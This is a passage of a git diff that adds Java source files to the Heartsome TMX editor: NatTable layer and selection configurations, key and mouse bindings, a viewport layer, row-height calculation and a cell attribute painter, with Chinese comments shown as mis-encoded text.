包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.tmxeditor.editor.nattable.configuration; + +import net.heartsome.cat.te.tmxeditor.editor.nattable.action.KeyEditAction; +import net.heartsome.cat.te.tmxeditor.editor.nattable.action.MouseEditAction; +import net.sourceforge.nattable.config.AggregateConfiguration; +import net.sourceforge.nattable.edit.config.DefaultEditBindings; +import net.sourceforge.nattable.grid.GridRegion; +import net.sourceforge.nattable.grid.cell.AlternatingRowConfigLabelAccumulator; +import net.sourceforge.nattable.grid.layer.config.DefaultRowStyleConfiguration; +import net.sourceforge.nattable.layer.CompositeLayer; +import net.sourceforge.nattable.ui.binding.UiBindingRegistry; +import net.sourceforge.nattable.ui.matcher.IKeyEventMatcher; +import net.sourceforge.nattable.ui.matcher.KeyEventMatcher; +import net.sourceforge.nattable.ui.matcher.LetterOrDigitKeyEventMatcher; +import net.sourceforge.nattable.ui.matcher.MouseEventMatcher; +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.KeyEvent; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class CompositeLayerConfiguration extends AggregateConfiguration { + public CompositeLayerConfiguration(CompositeLayer compositeLayer) { + addAlternateRowColoringConfig(compositeLayer); +// addEditingHandlerConfig(); + addEditingUIConfig(); + } + + + protected void addEditingUIConfig() { + addConfiguration(new DefaultEditBindings() { + + KeyEditAction action = new KeyEditAction(); + + public void configureUiBindings(UiBindingRegistry uiBindingRegistry) { + // 在用户点击 Enter é”®æ—¶ï¼Œè¿›å…¥ç¼–è¾‘çŠ¶æ€ + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.NONE, SWT.CR), action); + // 在用户点击å°é”®ç›˜çš„ Enter é”®æ—¶ï¼Œè¿›å…¥ç¼–è¾‘çŠ¶æ€ + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.NONE, SWT.KEYPAD_CR), action); + + // 在用户点击 whitespace é”®æ—¶ï¼Œè¿›å…¥ç¼–è¾‘çŠ¶æ€ + uiBindingRegistry.registerKeyBinding(new IKeyEventMatcher() { + public boolean matches(KeyEvent event) { + return event.character == ' '; + } + }, action); + // 在用户输入字æ¯æˆ–æ•°å­—æ—¶ï¼Œè¿›å…¥ç¼–è¾‘çŠ¶æ€ + uiBindingRegistry.registerKeyBinding(new LetterOrDigitKeyEventMatcher(), action); + // 在用户å•å‡»æ—¶ï¼Œè¿›å…¥ç¼–è¾‘çŠ¶æ€ + uiBindingRegistry.registerFirstMouseDownBinding(MouseEventMatcher.bodyLeftClick(SWT.NONE), new MouseEditAction()); + uiBindingRegistry.unregisterMouseDragMode(MouseEventMatcher.bodyLeftClick(SWT.NONE)); + } + }); + } + +// protected void addEditingHandlerConfig() { +// addConfiguration(new AbstractLayerConfiguration() { +// +// @Override +// public void configureTypedLayer(CompositeLayer layer) { +// layer.registerCommandHandler(new EditCellCommandHandler()); +// } +// +// @Override +// public void configureRegistry(IConfigRegistry configRegistry) { +// configRegistry.registerConfigAttribute(EditConfigAttributes.CELL_EDITABLE_RULE, IEditableRule.NEVER_EDITABLE); +//// configRegistry.registerConfigAttribute(EditConfigAttributes.DATA_VALIDATOR, new DefaultDataValidator()); +// } +// }); +// +// } + + protected void addAlternateRowColoringConfig(CompositeLayer compositeLayer) { + DefaultRowStyleConfiguration configuration = new DefaultRowStyleConfiguration(); + configuration.oddRowBgColor = GUIHelper.COLOR_WHITE; + configuration.evenRowBgColor = GUIHelper.COLOR_WHITE; + addConfiguration(configuration); + compositeLayer.setConfigLabelAccumulatorForRegion(GridRegion.BODY, new AlternatingRowConfigLabelAccumulator()); + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/configuration/TmxEditorSelectionLayerConfiguration.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/configuration/TmxEditorSelectionLayerConfiguration.java new file mode 100644 index 0000000..c4fc186 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/configuration/TmxEditorSelectionLayerConfiguration.java @@ -0,0 +1,167 @@ +/** + * TmxEditorSelectionLayerConfiguration.java + * + * Version information : + * + * Date:2013-6-4 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.tmxeditor.editor.nattable.configuration; + +import net.sourceforge.nattable.config.AggregateConfiguration; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; +import net.sourceforge.nattable.selection.action.MoveSelectionAction; +import net.sourceforge.nattable.selection.action.MoveToFirstRowAction; +import net.sourceforge.nattable.selection.action.MoveToLastRowAction; +import net.sourceforge.nattable.selection.action.PageDownAction; +import net.sourceforge.nattable.selection.action.PageUpAction; +import net.sourceforge.nattable.selection.action.SelectAllAction; +import net.sourceforge.nattable.selection.action.SelectCellAction; +import net.sourceforge.nattable.selection.config.DefaultMoveSelectionConfiguration; +import net.sourceforge.nattable.selection.config.DefaultSelectionBindings; +import net.sourceforge.nattable.selection.config.DefaultSelectionStyleConfiguration; +import net.sourceforge.nattable.tickupdate.config.DefaultTickUpdateConfiguration; +import net.sourceforge.nattable.ui.action.IKeyAction; +import net.sourceforge.nattable.ui.action.IMouseAction; +import net.sourceforge.nattable.ui.binding.UiBindingRegistry; +import net.sourceforge.nattable.ui.matcher.KeyEventMatcher; +import net.sourceforge.nattable.ui.matcher.MouseEventMatcher; +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.widgets.Display; + +/** + * Nattable 选中相关é…ç½® + * @author Jason + * @version + * @since JDK1.6 + */ +public class TmxEditorSelectionLayerConfiguration extends AggregateConfiguration { + public TmxEditorSelectionLayerConfiguration() { + addSelectionStyleConfig(); + addSelectionUIBindings(); + addTickUpdateConfig(); + addMoveSelectionConfig(); + } + + protected void addSelectionStyleConfig() { + // 去掉表头选中样å¼å’Œé€‰ä¸­å•å…ƒæ ¼æ ·å¼ + DefaultSelectionStyleConfiguration configure = new DefaultSelectionStyleConfiguration() { + @Override + protected void configureHeaderHasSelectionStyle(IConfigRegistry configRegistry) { + } + + @Override + protected void configureHeaderFullySelectedStyle(IConfigRegistry configRegistry) { + } + + @Override + protected void configureSelectionAnchorStyle(IConfigRegistry configRegistry) { + } + }; + configure.selectionBgColor = GUIHelper.getColor(210, 210, 240);// Display.getCurrent().getSystemColor(SWT.COLOR_LIST_SELECTION); + configure.selectionFgColor = Display.getCurrent().getSystemColor(SWT.COLOR_BLACK); + addConfiguration(configure); + } + + /** + * @see XLIFFEditorCompositeLayerConfiguration#addEditingUIConfig() ; + */ + protected void addSelectionUIBindings() { + addConfiguration(new DefaultSelectionBindings() { + + public void configureUiBindings(UiBindingRegistry uiBindingRegistry) { + // Move up + configureMoveUpBindings(uiBindingRegistry, new MoveSelectionAction(MoveDirectionEnum.UP)); + + // Move down + configureMoveDownBindings(uiBindingRegistry, new MoveSelectionAction(MoveDirectionEnum.DOWN)); + + // // Move left + // configureMoveLeftBindings(uiBindingRegistry, new MoveSelectionAction(MoveDirectionEnum.LEFT)); + // + // // Move right + // configureMoveRightBindings(uiBindingRegistry, new MoveSelectionAction(MoveDirectionEnum.RIGHT)); + + // Page Up + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.NONE, SWT.PAGE_UP), new PageUpAction()); + + // Page down + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.NONE, SWT.PAGE_DOWN), new PageDownAction()); + + // Home - Move to first column + // configureHomeButtonBindings(uiBindingRegistry, new MoveToFirstColumnAction()); + + // End - Move to last column + // configureEndButtonBindings(uiBindingRegistry, new MoveToLastColumnAction()); + + // Select all + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.CONTROL, 'a'), new SelectAllAction()); + + // Copy + // uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.CONTROL, 'c'), new CopyDataAction()); + + // Mouse bindings - select Cell + configureBodyMouseClickBindings(uiBindingRegistry); + + // Mouse bindings - select columns + configureColumnHeaderMouseClickBindings(uiBindingRegistry); + + // Mouse bindings - select rows + configureRowHeaderMouseClickBindings(uiBindingRegistry); + + // Mouse bindings - Drag + configureBodyMouseDragMode(uiBindingRegistry); + } + + @Override + protected void configureMoveUpBindings(UiBindingRegistry uiBindingRegistry, IKeyAction action) { + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.NONE, SWT.ARROW_UP), action); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.CONTROL, SWT.HOME), + new MoveToFirstRowAction()); + } + + @Override + protected void configureMoveDownBindings(UiBindingRegistry uiBindingRegistry, IKeyAction action) { + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.NONE, SWT.ARROW_DOWN), action); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.CONTROL, SWT.END), + new MoveToLastRowAction()); + } + + @Override + protected void configureBodyMouseClickBindings(UiBindingRegistry uiBindingRegistry) { + // (1)按下 Ctrl é”®ã€Shift 键或者åŒæ—¶æŒ‰ä¸‹ä¸¤è€…,则执行选中该行。 + // (2)åªé¼ æ ‡å•å‡»åˆ™è¿›å…¥ç¼–辑模å¼ï¼šè§ XLIFFEditorCompositeLayerConfiguration#addEditingUIConfig() + IMouseAction action = new SelectCellAction(); + uiBindingRegistry.registerFirstSingleClickBinding(MouseEventMatcher.bodyLeftClick(SWT.SHIFT), action); + uiBindingRegistry.registerFirstSingleClickBinding(MouseEventMatcher.bodyLeftClick(SWT.CTRL), action); + // uiBindingRegistry.registerFirstSingleClickBinding(MouseEventMatcher.bodyLeftClick(SWT.SHIFT | + // SWT.CONTROL), action); + } + + @Override + protected void configureBodyMouseDragMode(UiBindingRegistry uiBindingRegistry) { + // CellSelectionDragMode dragMode = new CellSelectionDragMode(); + // uiBindingRegistry.registerMouseDragMode(MouseEventMatcher.bodyLeftClick(SWT.NONE), dragMode); + // uiBindingRegistry.registerMouseDragMode(MouseEventMatcher.bodyLeftClick(SWT.SHIFT), dragMode); + // uiBindingRegistry.registerMouseDragMode(MouseEventMatcher.bodyLeftClick(SWT.CONTROL), dragMode); + // uiBindingRegistry.registerMouseDragMode(MouseEventMatcher.bodyLeftClick(SWT.SHIFT | SWT.CONTROL), + // dragMode); + } + }); + } + + protected void addTickUpdateConfig() { + addConfiguration(new DefaultTickUpdateConfiguration()); + } + + protected void addMoveSelectionConfig() { + addConfiguration(new DefaultMoveSelectionConfiguration()); + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/layer/HorizontalViewportLayer.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/layer/HorizontalViewportLayer.java new file mode 100644 index 0000000..a07cb89 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/layer/HorizontalViewportLayer.java @@ -0,0 +1,116 @@ +package net.heartsome.cat.te.tmxeditor.editor.nattable.layer; + +import net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.TeActiveCellEditor; +import net.sourceforge.nattable.command.ILayerCommand; +import net.sourceforge.nattable.grid.command.ClientAreaResizeCommand; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.IUniqueIndexLayer; +import net.sourceforge.nattable.viewport.ViewportLayer; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.ScrollBar; + +/** + * 水平布局使用的ViewportLayer + * @author weachy + * @version + * @since JDK1.5 + */ +public class HorizontalViewportLayer extends ViewportLayer { + + public HorizontalViewportLayer(IUniqueIndexLayer underlyingLayer) { + super(underlyingLayer); + } + + RowHeightCalculator rowHeightCalculator; + + public void setRowHeightCalculator(RowHeightCalculator rowHeightCalculator) { + this.rowHeightCalculator = rowHeightCalculator; + } + + public void moveRowPositionIntoViewport(int scrollableRowPosition, boolean forceEntireCellIntoViewport) { + ILayer underlyingLayer = getUnderlyingLayer(); + if (underlyingLayer.getRowIndexByPosition(scrollableRowPosition) >= 0) { + if (scrollableRowPosition >= getMinimumOriginRowPosition()) { + int originRowPosition = getOriginRowPosition(); // 滚动æ¡æ»šåŠ¨è¿‡çš„行数 + // + if (scrollableRowPosition < originRowPosition) { + // Move up + setOriginRowPosition(scrollableRowPosition); + } else { + int scrollableRowStartY = underlyingLayer.getStartYOfRowPosition(scrollableRowPosition); // 当å‰é€‰ä¸­è¡Œçš„起始ä½ç½®ï¼ˆåŒ…括滚动过的区域) + if (rowHeightCalculator != null) + rowHeightCalculator.recaculateRowHeight(scrollableRowPosition); + int currentRowHeight = underlyingLayer.getRowHeightByPosition(scrollableRowPosition); + int scrollableRowEndY = scrollableRowStartY + currentRowHeight; // 当å‰é€‰ä¸­è¡Œçš„结æŸä½ç½®ï¼ŒåŒ…括ä¸å¯è§çš„部分(包括滚动过的区域) + int clientAreaHeight = getClientAreaHeight(); // 编辑区的高(ä¸åŒ…括滚动过的区域) + int viewportEndY = underlyingLayer.getStartYOfRowPosition(originRowPosition) + clientAreaHeight; // 编辑区的高(包括滚动过的区域) + // + if (viewportEndY < scrollableRowEndY) { // 选中行下åŠéƒ¨åˆ†æ²¡æœ‰æ˜¾ç¤ºå®Œå…¨æ—¶ + if (currentRowHeight >= clientAreaHeight) { // 当å‰è¡Œé«˜å¤§äºŽç­‰äºŽç¼–辑区的高 + // Move up:设置起始行为当å‰è¡Œ + setOriginRowPosition(scrollableRowPosition); + } else { + // if (forceEntireCellIntoViewport || isLastRow(scrollableRowPosition)) { + // invalidateVerticalStructure(); + // setOriginRowPosition(scrollableRowPosition); + // } else { + // // Move up:将当å‰é€‰ä¸­è¡Œæ˜¾ç¤ºå®Œå…¨ +// invalidateVerticalStructure(); +// int targetOriginRowPosition = underlyingLayer.getRowPositionByY(scrollableRowEndY +// - clientAreaHeight) + 1; +// int selectRow = scrollableRowPosition; + int ch = clientAreaHeight; + int r = scrollableRowPosition; + for(; r > 0 ;r--){ + int h = rowHeightCalculator.recaculateRowHeight(r); + ch -= h; + if(ch < 0){ + break; + } + } + setOriginRowPosition(r + 1); + // } + } + } + } + } + } + } + + @Override + public boolean doCommand(ILayerCommand command) { + boolean b = super.doCommand(command); + if (command instanceof ClientAreaResizeCommand && command.convertToTargetLayer(this)) { + ClientAreaResizeCommand clientAreaResizeCommand = (ClientAreaResizeCommand) command; + final ScrollBar vBar = clientAreaResizeCommand.getScrollable().getVerticalBar(); // åž‚ç›´æ»šåŠ¨æ¡ + Listener[] listeners = vBar.getListeners(SWT.Selection); + for (Listener listener : listeners) { // 清除默认的 Selection 监å¬ï¼ˆåœ¨ç±» ScrollBarHandlerTemplate 中添加的) + vBar.removeListener(SWT.Selection, listener); + } + vBar.addListener(SWT.Selection, new Listener() { + + private ViewportLayer viewportLayer = HorizontalViewportLayer.this; + private IUniqueIndexLayer scrollableLayer = viewportLayer.getScrollableLayer(); + + public void handleEvent(Event event) { + // 滚动滚动æ¡å‰æ交当å‰å¤„于编辑状æ€çš„文本段 + if (TeActiveCellEditor.isValid()) + TeActiveCellEditor.commit(); + ScrollBar scrollBar = (ScrollBar) event.widget; + + int position = scrollableLayer.getRowPositionByY(scrollBar.getSelection()); + + viewportLayer.invalidateVerticalStructure(); + viewportLayer.setOriginRowPosition(position); + vBar.setIncrement(viewportLayer.getRowHeightByPosition(0)); + + } + }); + } + + return b; + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/layer/LayerUtil.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/layer/LayerUtil.java new file mode 100644 index 0000000..ac114ca --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/layer/LayerUtil.java @@ -0,0 +1,123 @@ +package net.heartsome.cat.te.tmxeditor.editor.nattable.layer; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.layer.CompositeLayer; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.IUniqueIndexLayer; +import net.sourceforge.nattable.viewport.ViewportLayer; + +public class LayerUtil extends net.sourceforge.nattable.layer.LayerUtil { + + private static int layoutX; + + private static int layoutY; + + public static void setBodyLayerPosition(int layoutX, int layoutY) { + LayerUtil.layoutX = layoutX; + LayerUtil.layoutY = layoutY; + } + + @SuppressWarnings("unchecked") + public static T getLayer(NatTable table, Class targetLayerClass) { + if (targetLayerClass.equals(NatTable.class)) { + return (T) table; + } + ILayer layer = table.getUnderlyingLayerByPosition(0, 0); // 得到 CompositeLayer + if (layer instanceof CompositeLayer) { + if (targetLayerClass.equals(CompositeLayer.class)) { + return (T) layer; + } + return getLayer((CompositeLayer) layer, targetLayerClass); + } + return null; + } + + @SuppressWarnings("unchecked") + public static T getLayer(CompositeLayer compositeLayer, Class targetLayerClass) { + if (targetLayerClass.equals(CompositeLayer.class)) { + return (T) compositeLayer; + } + ILayer layer = compositeLayer.getChildLayerByLayoutCoordinate(layoutX, layoutY); + while (layer != null && !(targetLayerClass.isInstance(layer))) { + layer = layer.getUnderlyingLayerByPosition(0, 0); + } + return (T) layer; + } + + // AbstractLayerTransform + + public static int getLowerLayerRowPosition(NatTable table, int sourceRowPosition, + Class targetLayerClass) { + ViewportLayer viewportLayer = getLayer(table, ViewportLayer.class); + int originRowPosition = viewportLayer.getOriginRowPosition(); + sourceRowPosition -= originRowPosition + 1; + T t = getLayer(table, targetLayerClass); + return convertRowPosition(viewportLayer, sourceRowPosition, t); + } + + public static int getUpperLayerRowPosition(NatTable table, int sourceRowPosition, + Class sourceLayerClass) { + ViewportLayer viewportLayer = getLayer(table, ViewportLayer.class); + int originRowPosition = viewportLayer.getOriginRowPosition(); + T t = getLayer(table, sourceLayerClass); + sourceRowPosition = convertRowPosition(t, sourceRowPosition, viewportLayer); + sourceRowPosition += originRowPosition + 1; + return sourceRowPosition; + } + + // public static int getRowPosition(ILayer sourceLayer, int sourceRowPosition, + // ILayer targetLayer) { + // Assert.isNotNull(sourceLayer); + // Assert.isNotNull(targetLayer); + // + // if (sourceLayer.equals(targetLayer)) { + // return sourceRowPosition; + // } + // if (targetLayer instanceof IUniqueIndexLayer) { + // return convertRowPosition(sourceLayer, sourceRowPosition, (IUniqueIndexLayer) targetLayer); + // } else if (targetLayer instanceof NatTable) { + // ViewportLayer viewportLayer = getLayer((NatTable) targetLayer, ViewportLayer.class); + // int originRowPosition = viewportLayer.getOriginRowPosition(); + // int targetRowPostion = convertRowPosition(sourceLayer, sourceRowPosition, viewportLayer); + // return targetRowPostion + originRowPosition + 1; + // } else { + // throw new IllegalArgumentException("无法识别的å‚数:å‚æ•°å¿…é¡»ä¸ºæŽ¥å£ IUniqueIndexLayer 的实例或 NatTable 的实例。"); + // } + // } + + /** + * 通过列索引得到列ä½ç½® + * @param table + * NatTable对象 + * @param columnIndex + * 列索引 + * @return 列ä½ç½®; + */ + public static int getColumnPositionByIndex(NatTable table, int columnIndex) { + int columnCount = table.getColumnCount(); + for (int i = 0; i < columnCount; i++) { + if (table.getColumnIndexByPosition(i) == columnIndex) { + return i; + } + } + return -1; + } + + /** + * 通过行索引得到行ä½ç½® + * @param table + * NatTable对象 + * @param rowIndex + * 列索引 + * @return è¡Œä½ç½®; + */ + public static int getRowPositionByIndex(NatTable table, int rowIndex) { + int rowCount = table.getRowCount(); + for (int i = 0; i < rowCount; i++) { + if (table.getRowIndexByPosition(i) == rowIndex) { + return i; + } + } + return -1; + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/layer/RowHeightCalculator.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/layer/RowHeightCalculator.java new file mode 100644 index 0000000..ec695b1 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/layer/RowHeightCalculator.java @@ -0,0 +1,70 @@ +/** + * RowHeightCalculator.java + * + * Version information : + * + * Date:2013-8-12 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.tmxeditor.editor.nattable.layer; + +import net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable.BodyLayer; +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.config.CellConfigAttributes; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.painter.cell.ICellPainter; +import net.sourceforge.nattable.selection.SelectionLayer; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class RowHeightCalculator { + private BodyLayer bodyLayer; + private NatTable table; + private final int defaultRowheight; + + public RowHeightCalculator(BodyLayer bodyLayer, NatTable table, int defaultRowHeight) { + this.defaultRowheight = defaultRowHeight; + this.bodyLayer = bodyLayer; + this.table = table; + } + + public int recaculateRowHeight(int rowIndex) { + int height = bodyLayer.getDataLayer().getRowHeightByPosition(rowIndex); + // if (height == defaultRowheight) { + height = getPreferredRowHeight(rowIndex, table.getConfigRegistry(), table.getClientArea().height); + bodyLayer.getDataLayer().setRowHeightByPositionWithoutEvent(rowIndex, height); + // } + return height; + } + + private int getPreferredRowHeight(int rowPosition, IConfigRegistry configRegistry, int clientAreaHeight) { + int maxHeight = 0; + ICellPainter painter; + LayerCell cell; + SelectionLayer layer = bodyLayer.getSelectionLayer(); + for (int columnPosition = 0; columnPosition < layer.getColumnCount(); columnPosition++) { + cell = layer.getCellByPosition(columnPosition, rowPosition); + if (cell != null) { + painter = configRegistry.getConfigAttribute(CellConfigAttributes.CELL_PAINTER, cell.getDisplayMode(), + bodyLayer.getConfigLabelsByPosition(columnPosition, rowPosition).getLabels()); + if (painter != null) { + int preferedHeight = painter.getPreferredHeight(cell, null, configRegistry); + maxHeight = (preferedHeight > maxHeight) ? preferedHeight : maxHeight; + } + } + } + + if (maxHeight > clientAreaHeight) { + return clientAreaHeight; + } + return maxHeight; + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/painter/AttributePainter.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/painter/AttributePainter.java new file mode 100644 index 0000000..447a614 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/painter/AttributePainter.java @@ -0,0 +1,237 @@ +/** + * LineNumberPainter.java + * + * Version information : + * + * Date:Mar 1, 2012 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.tmxeditor.editor.nattable.painter; + +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.common.util.DateUtils; +import net.heartsome.cat.te.tmxeditor.TmxEditorConstanst; +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.painter.cell.BackgroundPainter; +import net.sourceforge.nattable.style.CellStyleAttributes; +import net.sourceforge.nattable.style.CellStyleUtil; +import net.sourceforge.nattable.style.IStyle; +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.StyleRange; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Device; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.FontData; +import org.eclipse.swt.graphics.FontMetrics; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.graphics.TextLayout; +import org.eclipse.swt.graphics.TextStyle; +import org.eclipse.swt.widgets.Display; + +/** + * 属性列绘制器 + * @author Jason + * @version + * @since JDK1.6 + */ +public class AttributePainter extends BackgroundPainter { + NatTable table; + private Font font; + private int ascent, descent; + + private final int tabSize = 4; + private int tabWidth; + + private final int topPadding = TmxEditorConstanst.SEGMENT_TOP_MARGIN; + private final int rightPadding = TmxEditorConstanst.SEGMENT_RIGHT_MARGIN; + private final int bottomPadding = TmxEditorConstanst.SEGMENT_BOTTOM_MARGIN; + private final int leftPadding = TmxEditorConstanst.SEGMENT_LEFT_MARGIN; + private final int lineSpace = TmxEditorConstanst.SEGMENT_LINE_SPACING; + + public AttributePainter(NatTable table) { + this.table = table; + Font font = JFaceResources.getDefaultFont(); + loadFont(font); + } + + @Override + public int getPreferredHeight(LayerCell cell, GC gc, IConfigRegistry configRegistry) { + TextLayout layout = getCellTextLayout(cell); + int contentHeight = layout.getBounds().height; + layout.dispose(); + contentHeight += topPadding; + contentHeight += bottomPadding; + contentHeight += 4;// 加上编辑模å¼ä¸‹ï¼ŒStyledTextCellEditor的边框 + return contentHeight; + } + + @Override + public int getPreferredWidth(LayerCell cell, GC gc, IConfigRegistry configRegistry) { + // TODO Auto-generated method stub + return super.getPreferredWidth(cell, gc, configRegistry); + } + + @Override + public void paintCell(LayerCell cell, GC gc, Rectangle bounds, IConfigRegistry configRegistry) { + super.paintCell(cell, gc, bounds, configRegistry); + IStyle cellStyle = CellStyleUtil.getCellStyle(cell, configRegistry); + setupGCFromConfig(gc, cellStyle); + + TextLayout layout = getCellTextLayout(cell); + Rectangle rectangle = cell.getBounds(); + layout.draw(gc, rectangle.x + leftPadding, rectangle.y + topPadding); + layout.dispose(); + } + + private TextLayout getCellTextLayout(LayerCell cell) { + int orientation = table.getStyle() & (SWT.LEFT_TO_RIGHT | SWT.RIGHT_TO_LEFT); + TextLayout layout = new TextLayout(table.getDisplay()); + layout.setOrientation(orientation); + layout.setSpacing(lineSpace); + layout.setFont(font); + layout.setAscent(ascent); + layout.setDescent(descent); // å’Œ StyledTextEditor åŒæ­¥ + layout.setTabs(new int[] { tabWidth }); + + Rectangle rectangle = cell.getBounds(); + int width = rectangle.width - leftPadding - rightPadding; + layout.setWidth(width); + TmxTU tu = (TmxTU) cell.getDataValue(); + // String dispalyStr = TmxEditorUtils.tuAttr2Str4UI(tu); + // if(dispalyStr.length() == 0){ + // dispalyStr = "N/A"; + // layout.setText(dispalyStr); + // return layout; + // } + // createid: jason changeid: jason + StringBuilder sb = new StringBuilder(); + // String creationid = tu.getCreationUser(); + // if(creationid != null && creationid.length() > 0){ + // sb.append("creationid: ").append(creationid); + // } + // String creationdate = tu.getCreationDate(); + // if(creationdate != null && creationdate.length()>0){ + // sb.append(" creationdate: ").append(DateUtils.formatDateFromUTC(creationdate)); + // } + String changedate = tu.getChangeDate(); + List styleRanges = new ArrayList(); + int nextStart = 0; + if (changedate != null && 